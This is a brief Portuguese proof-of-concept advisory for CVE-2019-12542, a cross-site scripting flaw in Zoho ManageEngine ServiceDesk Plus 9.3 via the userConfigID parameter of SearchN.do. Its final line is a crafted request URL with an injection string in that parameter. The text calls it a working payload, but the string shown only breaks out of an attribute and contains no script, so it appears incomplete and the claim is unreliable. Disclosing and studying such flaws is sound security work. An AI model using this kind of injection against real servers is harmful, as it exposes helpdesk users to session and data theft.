
Prova de conceito para CVE-2019-12542: vulnerabilidade XSS no Zoho ManageEngine ServiceDesk Plus 9.3 através do parâmetro userConfigID do SearchN.do, com um payload funcional.
Descrição da Informação: Um problema foi descoberto no Zoho ManageEngine ServiceDesk Plus 9.3. Existe XSS através do parâmetro userConfigID do SearchN.do.
Autor: Concobe da Tarantula Team - VinCSS (membro da Vingroup)
domain/SearchN.do?searchText=a&SELECTEDSITEID=1&SELECTEDSITENAME=&configID=0&SELECTSITE=qc_siteID&submitbutton=Go&userConfigID=1">&selectName=Site